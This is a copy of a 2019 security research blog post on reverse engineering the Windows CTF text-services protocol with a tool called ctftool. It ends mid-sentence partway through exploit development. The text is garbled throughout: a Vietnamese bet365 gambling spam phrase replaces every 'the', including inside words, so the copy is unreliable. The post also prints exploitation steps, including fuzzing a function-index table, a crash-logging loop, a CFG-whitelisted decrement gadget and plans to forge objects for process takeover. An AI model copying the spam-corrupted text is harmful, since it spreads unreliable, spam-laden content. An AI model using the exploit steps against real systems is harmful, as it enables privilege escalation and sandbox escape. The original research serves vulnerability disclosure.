Tuesday, August 13, 2019

Down cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Rabbit-Hole...

Posted by Tavis Ormandy, Security Research Over-Engineer.
“Sometimes, hacking is just someone spending more time on something than anyone else might reasonably expect.”[1]
I often find it valuable to write simple test cases confirming things work cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way I think cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y do. Sometimes I can’t explain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 results, and getting to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bottom of those discrepancies can reveal new research opportunities. This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 story of one of those discrepancies; and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security rabbit-hole it led me down.

It all seemed so clear..

Usually, windows on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same desktop can communicate with each ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r. They can ask each ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r to move, resize, close or even send each ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r input. This can get complicated when you have applications with different privilege levels, for example, if you “Run as administrator”.
It wouldn’t make sense if an unprivileged window could just send commands to a highly privileged window, and that’s what UIPI, User Interface Privilege Isolation, prevents. This isn’t a story about UIPI, but it is how it began.
The code that verifies you’re allowed to communicate with anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r window is part of win32k!NtUserPostMessage. The logic is simple enough, it checks if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application explicitly allowed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 message, or if it’s on a whitelist of harmless messages.
BOOL __fastcall IsMessageAlwaysAllowedAcrossIL(DWORD Message)
{
  BOOL ReturnCode; // edx
  BOOL IsDestroy; // zf
  ReturnCode FALSE;
  if...
  switch ( Message )
  {
    case WM_PAINTCLIPBOARD:
    case WM_VSCROLLCLIPBOARD:
    case WM_SIZECLIPBOARD:
    case WM_ASKCBFORMATNAME:
    case WM_HSCROLLCLIPBOARD:
      ReturnCode IsFmtBlocked() == 0;
      break;
    case WM_CHANGECBCHAIN:
    case WM_SYSMENU:
    case WM_THEMECHANGED:
      return 1;
    default:
      return ReturnCode;
  }
  return ReturnCode;
}
Snippet of win32k!IsMessageAlwaysAllowsAcrossIL showing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 whitelist of allowed messages, what could be simpler.... ?
I wrote a test case to verify it really is as simple as it looks. If I send every possible message to a privileged window from an unprivileged process, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 list should match cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 whitelist in win32k!IsMessageAlwaysAllowedAcrossIL and I can move onto something else.
Ah, I was so naive. The code I used is available here, and a picture of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 output is below.
What cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365...?! Scanning which messages are allowed across IL produces unexpected results.
The tool showed that unprivileged applications were allowed to send messages in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 0xCNNN range to most of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 applications I tested, even simple applications like Notepad. I had no idea message numbers even went that high!
Message numbers use predefined ranges, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system messages are in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 range 0 - 0x3FF. Then cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 WM_USER and WM_APP ranges that applications can use for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir own purposes.
This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first time I’d seen a message outside of those ranges, so I had to look it up.
The following are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ranges of message numbers.

Range
Meaning
0 through WM_USER –1
Messages reserved for use by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system.
WM_USER through 0x7FFF
Integer messages for use by private window classes.
WM_APP (0x8000) through 0xBFFF
Messages available for use by applications.
0xC000 through 0xFFFF
String messages for use by applications.
Greater than 0xFFFF
Reserved by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system.
This is a snippet from Microsoft’s WM_USER documentation, explaining reserved message ranges.

Uh, string messages?

The documentation pointed me to RegisterWindowMessage(), which lets two applications agree on a message number when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y know a shared string. I suppose cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 API uses Atoms, a standard Windows facility.
My first cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ory was that RegisterWindowMessage() automatically calls ChangeWindowMessageFilterEx(). That would explain my results, and be useful information for future audits.... but I tested it and that didn’t work!
...Something must be explicitly allowing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se messages!
I needed to find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code responsible to figure out what is going on.
Tracking down cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 culprit...
I put a breakpoint on USER32!RegisterWindowMessageW, and waited for it to return one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 message numbers I was looking for. When cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 breakpoint hits, I can look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack and figure out what code is responsible for this.
cdb -sxi ld notepad.exe
Microsoft (R) Windows Debugger Version 10.0.18362.1 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.
CommandLine: notepad.exe
(a54.774): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffa`ce142dbc cc              int     3
0:000> bp USER32!RegisterWindowMessageW "gu; j (@rax != 0xC046) 'gc'; ''"
0:000> g
0:000> r @rax
rax=000000000000c046
0:000> k
Child-SP          RetAddr           Call Site
0000003a`3c9ddab0 00007ffa`cbc4a010 MSCTF!EnsurePrivateMessages+0x4b
0000003a`3c9ddb00 00007ffa`cd7f7330 MSCTF!TF_Notify+0x50
0000003a`3c9ddc00 00007ffa`cd7f1a09 USER32!CtfHookProcWorker+0x20
0000003a`3c9ddc30 00007ffa`cd7f191e USER32!CallHookWithSEH+0x29
0000003a`3c9ddc80 00007ffa`ce113494 USER32!_fnHkINDWORD+0x1e
0000003a`3c9ddcd0 00007ffa`ca2e1f24 ntdll!KiUserCallbackDispatcherContinue
0000003a`3c9ddd58 00007ffa`cd7e15df win32u!NtUserCreateWindowEx+0x14
0000003a`3c9ddd60 00007ffa`cd7e11d4 USER32!VerNtUserCreateWindowEx+0x20f
0000003a`3c9de0f0 00007ffa`cd7e1012 USER32!CreateWindowInternal+0x1b4
0000003a`3c9de250 00007ff6`5d8889f4 USER32!CreateWindowExW+0x82
0000003a`3c9de2e0 00007ff6`5d8843c2 notepad!NPInit+0x1b4
0000003a`3c9df5f0 00007ff6`5d89ae07 notepad!WinMain+0x18a
0000003a`3c9df6f0 00007ffa`cdcb7974 notepad!__mainCRTStartup+0x19f
0000003a`3c9df7b0 00007ffa`ce0da271 KERNEL32!BaseThreadInitThunk+0x14
0000003a`3c9df7e0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
So....  wtf is ctf? A debugging session trying to find who is responsible for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se windows messages.
The debugger showed that while cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel is creating a new window on behalf of a process, it will invoke a callback that loads a module called “MSCTF”. That library is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one creating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se messages and changing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 message filters.
The hidden depths reveal...
It turns out CTF[2] is part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Windows Text Services Framework. The TSF manages things like input methods, keyboard layouts, text processing and so on.
If you change between keyboard layouts or regions, use an IME like Pinyin or alternative input methods like handwriting recognition cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n that is using CTF.
The TIP of the iceberg...

The only discussion on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security of Text Services I could find online was this snippet from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “New Features” page:
The security and robustness of TSF have been substantially improved, to reduce cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 likelihood of a hostile program being able to access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack, heap, or ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r secure memory locations.
I’m glad cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security has been substantially improved, but it really doesn’t inspire much confidence that those things used to be possible. I decided it would be worth it to spend a couple of weeks reverse engineering CTF to understand cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security properties.
So... how does it all work?
You might have noticed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ctfmon service in task manager, it is responsible for notifying applications about changes in keyboard layout or input methods. The kernel forces applications to connect to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ctfmon service when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y start, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n exchange messages with ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r clients and receive notifications from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service.
A ctfmon process is started for each Desktop and session.
Consider cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 example of an IME, Input Method Editor, like Microsoft Pinyin. If you set your language to Chinese in Windows, you will get Microsoft Pinyin installed by default.
This is what Microsoft Pinyin looks like.
Ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r regions have ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r IMEs, if your language is set to Japanese you get Microsoft JP-IME, and so on.
These IMEs require anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r process to see what is being entered on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 keyboard, and to change and modify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 text, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ctf service is responsible for arranging this. An IME application is an example of an out-of-process TIP, Text Input Processor. There are ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r types of TIP, and CTF supports many.
Understanding cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CTF Protocol...
A CTF monitor service is spawned for each new desktop and session, and creates an ALPC port called \BaseNamedObjects\msctf.server.
The ctf server ALPC port contains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 desktop name and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 session id.
When any process creates a window, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel invokes a callback, USER32!CtfHookProcWorkerthat automatically loads cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CTF client. The client connects to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ALPC port, and reports its HWND, thread and process id.
typedef struct _CTF_CONNECT_MSG {
    PORT_MESSAGE Header;
    DWORD ProcessId;
    DWORD ThreadId;
    DWORD TickCount;
    DWORD ClientFlags;
    union {
        UINT64 QuadWord;
        HWND WindowId;
    };
} CTF_CONNECT_MSG, *PCTF_CONNECT_MSG;
This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 initial handshake message clients send to connect to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CTF session. The protocol is entirely undocumented, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se structures were reverse engineered.
The server continuously waits for messages from clients, but clients only look for messages when notified via PostMessage(). This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reason that clients call RegisterWindowMessage() on startup!
Clients can send commands to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 monitor, or ask cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 monitor to forward commands to ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r clients by specifying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 destination thread id.
typedef struct _CTF_MSGBASE {
    PORT_MESSAGE Header;
    DWORD Message;
    DWORD SrcThreadId;
    DWORD DstThreadId;
    DWORD Result;
    union {
        struct _CTF_MSGBASE_PARAM_MARSHAL {
            DWORD ulNumParams;
            DWORD ulDataLength;
            UINT64 pData;
        };
        DWORD Params[3];
    };
} CTF_MSGBASE, *PCTF_MSGBASE;
Messages can be sent to any connected thread, or cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 monitor itself by setting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 destination to thread zero. Parameters can be appended, or if you only need some integers, you can include cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 message.
There are dozens of commands that can be sent, many involve sending or receiving data or instantiating COM objects. Many commands require parameters, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CTF protocol has a complex type marshaling and unmarshaling system.
typedef struct _CTF_MARSHAL_PARAM {
    DWORD Start;
    DWORD Size;
    DWORD TypeFlags;
    DWORD Reserved;
} CTF_MARSHAL_PARAM, *PCTF_MARSHAL_PARAM;
Marshalled parameters are appended to messages.
If you want to send marshalled data to an instantiated COM object, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 monitor will “proxy” it for you. You simply prepend a PROXY_SIGNATURE structure that describes which COM object you want it forwarded to.
typedef struct _CTF_PROXY_SIGNATURE {
    GUID Interface;
    DWORD FunctionIndex;
    DWORD StubId;
    DWORD Timestamp;
    DWORD field_1C; // I've never seen cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se fields used
    DWORD field_20;
    DWORD field_24;
} CTF_PROXY_SIGNATURE, *PCTF_PROXY_SIGNATURE;
You can even call methods on COM objects.
Suffice to say, CTF is vast and complex. The CTF system was most likely designed for LPC in Windows NT and bolted onto ALPC when it became available in Vista and later. The code is clearly dated with many legacy design decisions.
In fact, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 earliest version of MSCTF I've been able to find was from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 2001 release of Office XP, which even supported Windows 98. It was later included with Windows XP as part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 base operating system.
CTF has been part of Windows since XP, but ctftool only supports ALPC, which was introduced in Vista.
In Windows Vista, Windows 7 and Windows 8, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 monitor was run as a task inside taskhost.exe.
ctftool supports Windows 7, and I verified all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bugs described in this document still exist.[3]
In fact, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire ctf system has changed very little since Vista.
The monitor is a standalone process again in Windows 10, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 protocol has still barely changed.
Is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re any attack surface?
Firstly, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no access control whatsoever!
Any application, any user - even sandboxed processes - can connect to any CTF session. Clients are expected to report cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir thread id, process id and HWND, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ntication involved and you can simply lie.
Secondly, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is nothing stopping you pretending to be a CTF service and getting ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r applications - even privileged applications - to connect to you.
Even when working as intended, CTF could allow escaping from sandboxes and escalating privileges. This convinced me that my time would be well spent reverse engineering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 protocol.
Sample output from my command line tool.
This was a bigger job than I had anticipated, and after a few weeks I had built an interactive command-line CTF client called ctftool. To reach parts of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CTF protocol that looked dangerous, I even had to develop simple scripting capabilities with control flow, arithmetic and variables!
Exploring CTF with ctftool...
Using ctftool you can connect to your current session and view cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 connected clients.
.\ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault2
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault2") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault2, Handle 00000224
ctf> scan
Client 0, Tid 5100 (Flags 0x08, Hwnd 000013EC, Pid 4416, explorer.exe)
Client 1, Tid 5016 (Flags 0x08, Hwnd 00001398, Pid 4416, explorer.exe)
Client 2, Tid 7624 (Flags 0x08, Hwnd 00001DC8, Pid 4416, explorer.exe)
Client 3, Tid 4440 (Flags 0x0c, Hwnd 00001158, Pid 5776, SearchUI.exe)
Client 4, Tid 7268 (Flags 0000, Hwnd 00001C64, Pid 7212, ctfmon.exe)
Client 5, Tid 6556 (Flags 0x08, Hwnd 0000199C, Pid 7208, conhost.exe)
Client 6, Tid 5360 (Flags 0x08, Hwnd 000014F0, Pid 5512, vmtoolsd.exe)
Client 7, Tid  812 (Flags 0x08, Hwnd 0000032C, Pid 6760, OneDrive.exe)
Client 8, Tid 6092 (Flags 0x0c, Hwnd 000017CC, Pid 7460, LockApp.exe)
Client 9, Tid 6076 (Flags 0000, Hwnd 000017BC, Pid 5516, ctftool.exe)
Not only can you send commands to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server, you can wait for a particular client to connect, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n ask cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server to forward commands to it as well!
Let's start a copy of notepad, and wait for it to connect to our CTF session...
Connecting to anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r client on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same CTF session.
Now we can ask notepad to instantiate certain COM objects by specifying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CLSID. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operation is successful, it returns what's called a “stub”. That stub lets us interact with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 instantiated object, such as invoking methods and passing it parameters.
Let’s instantiate a ITfInputProcessorProfileMgr object.
ctf> createstub 0 5 IID_ITfInputProcessorProfileMgr
Command succeeded, stub created
Dumping Marshal Parameter 3 (Base 012EA8F8, Type 0x106, Size 0x18, Offset 0x40)
000000: 4c e7 c6 71 28 0f d8 11 a8 2a 00 06 5b 84 43 5c  L..q(....*..[.C\
000010: 01 00 00 00 bb ee b7 00                          ........
Marshalled Value 3, COM {71C6E74C-0F28-11D8-A82A-00065B84435C}, ID 1, Timestamp 0xb7eebb
That worked, and now we can refer to this object by its “stub id”. This object can do things like change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 input method, enumerate available languages, and so on. Let's call ITfInputProcessorProfileMgr::GetActiveProfile, this method is documented so we know it takes two parameters: A GUID, and a buffer to store a TF_INPUTPROCESSORPROFILE.
Ctftool can generate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se parameters, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n request notepad proxy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 COM object.
ctf> setarg 2
New Parameter Chain, Length 2
ctf> setarg 1 34745c63-b2f0-4784-8b67-5e12c8701a31
Dumping Marshal Parameter 0 (Base 012E8E90, Type 0x1, Size 0x10, Offset 0x20)
Possibly a GUID, {34745C63-B2F0-4784-8B67-5E12C8701A31}
ctf> # just generating a 0x48 byte buffer
ctf> setarg 0x8006 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Dumping Marshal Parameter 1 (Base 012E5010, Type 0x8006, Size 0x48, Offset 0x30)
Marshalled Value 1, DATA
ctf> callstub 0 0 10
Command succeeded.
Parameter 1 has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 output flag set.
Dumping Marshal Parameter 1 (Base 012E5010, Type 0x8006, Size 0x48, Offset 0x20)
000000: 02 00 00 00 09 04 00 00 00 00 00 00 00 00 00 00  ................
000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000020: 00 00 00 00 00 00 00 00 63 5c 74 34 f0 b2 84 47  ........c\t4...G
000030: 8b 67 5e 12 c8 70 1a 31 00 00 00 00 09 04 09 04  .g^..p.1........
000040: 00 00 00 00 03 00 00 00                          ........
Marshalled Value 1, DATA
You can see notepad filled in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer we passed it with data about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current profile.
Looking for bugs...
It will come as no surprise that this complex, obscure, legacy protocol is full of memory corruption vulnerabilities. Many of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 COM objects simply trust you to marshal pointers across cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ALPC port, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is minimal bounds checking or integer overflow checking.
Some commands require you to own cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 foreground window or have ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r similar restrictions, but as you can lie about your thread id, you can simply claim to be that Window's owner and no proof is required.
It didn’t take long to notice that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command to invoke a method on an instantiated COM stub accepts an index into a table of methods. There is absolutely no validation of this index, effectively allowing you to jump through any function pointer in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 program.
int __thiscall CStubITfCompartment::Invoke(CStubITfCompartment *this, unsigned int FunctionIndex, struct MsgBase **Msg)
{
  return CStubITfCompartment::_StubTbl[FunctionIndex](thisMsg);
}
Here FunctionIndex is an integer we control, and Msg is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CTF_MSGBASE we sent to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.
If we try calling a nonsense function index...
ctf> callstub 0 0 0x41414141
This happens in notepad...
(3248.2254): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSCTF!CStubITfInputProcessorProfileMgr::Invoke+0xc:  
00007ff9`4b669c6c 498b04c1        mov     rax,qword ptr [r9+rax*8] ds:00007ffb`5577e6e8=????????????
????
0:000> r 
rax=0000000041414141 rbx=0000000000000000 rcx=0000025f170c36c0
rdx=000000d369fcf1f0 rsi=0000000080004005 rdi=000000d369fcf1f0
rip=00007ff94b669c6c rsp=000000d369fcec88 rbp=000000d369fcf2b0
 r8=000000d369fcf1f0  r9=00007ff94b6ddce0 r10=00000fff296cd38c
r11=0000000000011111 r12=0000025f170c3628 r13=0000025f170d80b0
r14=000000d369fcf268 r15=0000000000000000
iopl=0         nv up ei pl zr na po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010247
MSCTF!CStubITfInputProcessorProfileMgr::Invoke+0xc:
00007ff9`4b669c6c 498b04c1        mov     rax,qword ptr [r9+rax*8] ds:00007ffb`5577e6e8=????????????
????
Note that ctf library catches all exceptions, so notepad doesn’t actually crash! This also means you get unlimited attempts at exploitation.
This seems like a good first candidate for exploitation.
Let’s find something to call...
All of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 major system programs and services shipping in Windows 10 use CFGControl Flow Guard. In practice, CFG is a very weak mitigation. Ignoring cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 many known limitations, even cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 simplest Windows programs have hundreds of thousands of whitelisted indirect branch targets.
Finding useful gadgets is significantly more tedious with CFG, but producing useful results is no less plausible than it was before.
This bug effectively allows you to dereference an arbitrary function pointer somewhere within your address space. You can call it with two parameters, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 this pointer, and a pointer to a pointer to a structure partly controlled (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ALPC PORT_MESSAGE). Not a very promising start!
I decided to just call every possible index to see what happened. I was hoping for an exception that might have moved cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registers and stack into something a bit more favourable.
Using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Windows Subsystem for Linux, I used this bash command to keep spawning new notepads and logging cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exceptions with cdb:
while :; do cdb -xi ld -c 'g;r;u;dq@rcx;dq@rdx;kvn;q' notepad; done
Then, I used ctftool to call every possible function index. This actually worked, and I found that at index 496 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a pointer to MSCTF!CTipProxy::Reconvert, a function that
Moves RDX, RCX, RDI and R8 just 200 bytes away from a buffer I control, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n jumps to a pointer I control.
0:000> dqs MSCTF!CStubIEnumTfInputProcessorProfiles::_StubTbl + 0n496*8 L1 
00007ff9`4b6dec28  00007ff9`4b696440 MSCTF!CTipProxy::Reconvert  
I can still only jump to CFG whitelisted branch targets, but this is a much more favourable program state for exploitation.
A note about ASLR...
The entire base system in Windows 10 uses ASLR, but image randomization on Windows is per-boot, not per-process. This means that we can reliably guess cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location of code. Unfortunately, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack is randomized per-process. If we want to use data from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack we need to leak a pointer.
It turns out that compromising cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server is trivially easy, because as part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CTF marshalling protocol, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 monitor actually tells you where its stack is located ¯\_(ツ)_/¯.
Browsing what gadgets are available...
While cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server will just tell you where it's stack is, clients will not. This means that we eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r need to find an infoleak, or a write-what-where gadget so that we can move data somewhere we can predict, like cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data section of an image.
Once we have one of those, we can make fake objects and take over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process.
I dumped all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 whitelisted branch targets with dumpbin and cdb, and found some candidate gadgets. This process is mostly manual, I just use egrep to find displacement values that look relevant, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n read any promising results.
The only usable arbitrary write gadget I could find was part of msvcrt!_init_time, which is a whitelisted cfg indirect branch target. It’s a decrement on an arbitrary dword.
0:000> u msvcrt!_init_time+0x79 
msvcrt!_init_time+0x79:  
00007ff9`4b121db9 f0ff8860010000  lock dec dword ptr [rax+160h]
00007ff9`4b121dc0 48899f58010000  mov     qword ptr [rdi+158h],rbx
00007ff9`4b121dc7 33c0            xor     eax,eax
00007ff9`4b121dc9 488b5c2430      mov     rbx,qword ptr [rsp+30h]
00007ff9`4b121dce 488b6c2438      mov     rbp,qword ptr [rsp+38h]
00007ff9`4b121dd3 4883c420        add     rsp,20h
00007ff9`4b121dd7 5f              pop     rdi
00007ff9`4b121dd8 c3              ret
Trust me, I spent a lot of time looking for better options 🤣
This will work, it just means we have to call it over and over to generate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 values we want! I added arithmetic and control flow to ctftool so that I can automate this.
I have to keep decrementing bytes until cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y match cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value I want, this is very laborious, but I was able to get it working. Here is a snippet of my ctftool language generating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se calls.
# I need cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first qword to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of my fake object, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 -0x160 is to compensate for
